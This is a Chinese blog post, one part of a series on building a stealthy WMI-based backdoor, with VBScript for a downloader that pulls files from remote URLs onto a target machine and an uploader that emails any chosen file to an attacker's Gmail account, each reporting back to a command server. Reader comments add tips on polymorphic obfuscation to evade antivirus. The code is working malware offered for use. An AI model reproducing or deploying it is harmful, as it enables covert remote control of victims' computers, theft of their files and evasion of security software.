利用WMI打造完美“三无”后门-Downloader and Uploader

标签: , , , ,

Welcome!各位ScriptKid,欢迎来到脚本世界。

终于到周末。可以多陪陪家人,玩玩游戏,研究研究自己感兴趣的东西了。

今天继续的是两个很简单的功能,下载指定文件到目标机器与获取目标机器任意文件。

直接来看示例代码。

Downloader

Function DownLoadFile
Set Http=CreateObject("WinHttp.WinHttpRequest.5.1") //想绕过防火墙请使用InternetExplorer.Application
SplitCmd=Split(CmdText,"|") //分离命令参数。命令格式是:命令号|远程URL|本地文件|超时时间
If UBound(SplitCmd)<3 Then //简单判断命令格式是否合法
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=Command Error!&macaddress="&CmdFile,True
Http.send
Exit Function
End If
Url=SplitCmd(1) //提取URL
LocalFile=SplitCmd(2) //提取本地文件路径
TimeOut=SplitCmd(3) //提取超时时间
Http.Open "GET",Url,False
Http.Send
If Http.Status>299 OR Not Http.WaitForResponse(Timeout) Then //如果返回码>299或者超时
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Error!&macaddress=""&CmdFile,True
Http.send
Else
fso.CreateTextFile(LocalFile) //写入本地文件
ASO.open:ASO.loadfromfile LocalFile
ASO.position=0
ASO.type=1
ASO.Write Http.ResponseBody
ASO.SaveToFile LocalFile,2
ASO.close
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File DownLoad Success!&macaddress="&CmdFile,True
Http.send
End If
End Function

Uploader

这里用的是邮件附件的方式发送我们指定的任意文件。不是最好的方式。不过顺便也当介绍一下如何用vbs发送邮件(支持SSL)

Function SendFile
GetFileName=Mid(Trim(CmdText),9,Len(Trim(CmdText))-8)   //另一种比较土的分离命令参数方法。命令格式:getfile|文件绝对路径
Set Email = CreateObject("CDO.Message") //创建CDO.Message对象
NameSpace = "http://schemas.microsoft.com/cdo/configuration/" //指定名称空间。
Email.From = "scriptkidstest@gmail.com" //发信信箱
Email.To = "scriptkidstest@gmail.com" //收信信箱
Email.Subject = "File That You Want-"&CmdFile&"-"&GetFileName //邮件主题
Email.Textbody = "File That You Want" //邮件内容
Email.AddAttachment GetFileName,true //附上我们指定的文件
With Email.Configuration.Fields //设定发送邮件的参数
.Item(NameSpace&"sendusing") = 2 //cdoSendUsingPort
.Item(NameSpace&"smtpserver") = "smtp.gmail.com" //smtp服务器
.Item(NameSpace&"smtpserverport") = 465 //smtp端口。Gmail是465
.Item(NameSpace&"smtpusessl") = true //Gmail使用的是ssl
.Item(NameSpace&"smtpauthenticate") = 1 //认证方式。basic
.Item(NameSpace&"sendusername") = "scriptkidstest@gmail.com" //登录smtp的用户名
.Item(NameSpace&"sendpassword") = "lalalalalaooolll" //密码,不用试了肯定不对^0^
.Update //更新配置
End With
Email.Send
Http.Open "GET","http://"&CmdServer&"/"&ServerPath&"/out.asp?cmdresult=File Has Been Sended!&macaddress="&CmdFile,true //嘿!已经发过去了,赶紧收信吧
Http.send
End Function

昨天陪MM去看了《绿巨人2》,还可以。最后最搞的是那个史塔克工业的花花公子老板,传说中的钢铁侠出场了。。。难道最后是《钢铁侠大战绿巨人》=。=

明天给大家带来最后的《利用WMI打造完美“三无”后门-终焉》

原文链接:利用WMI打造完美“三无”后门-Downloader and Uploader

随机文章:

  1. 没有main函数的C程序
  2. BAT批处理编辑器Superbat
  3. Firefox插件JSView
  4. 使用Windows Script Encoder加密VBS
  5. 在Windows 2008 R2下安装PSDK

2 条评论 发表在“利用WMI打造完美“三无”后门-Downloader and Uploader”上

  1. wakaka说道:

    对于这样的一个VBS,应该还具有多态功能
    目前我见到公开过的多态功能有:
    1、VBS字符大小写随机发生
    2、变量名随机字符串替换,这个最早在CVC论坛的花猫提供过一个多态引擎
    3、使用EXECUTE执行
    4、纯洁执法者VBS病毒里使用的函数随机多态变形

    对于Downloader和Uploader个人觉得比较好的方法是在母体VBS里分离处D.VBS和U.VBS。母体VBS里包含功能的二进制字符串,使用二进制写文件功能在本机单独生成可以传到参数的D.VBS和U.VBS。毕竟这两个功能单一。

    这样又回到了多态变形,因为Downloader常用函数已被杀软杀光。所以母体里使用二进制字符串,提高了母体存活性。即使杀软解密了多态引擎,那么,杀掉的,也只是你分离的D.VBS而已。

    • Demon说道:

      我还见过另外两种:
      1、随机添加对代码没有影响的字符串和变量名
      2、利用On Error Resume Next除错来Execute一堆加密变形后的代码

      我对写病毒不感兴趣,所以对免杀没什么研究。而且貌似有些垃圾杀毒软件(360)只要是VBS脚本就警告是木马,即使只是MsgBox “Hello world”。

留下回复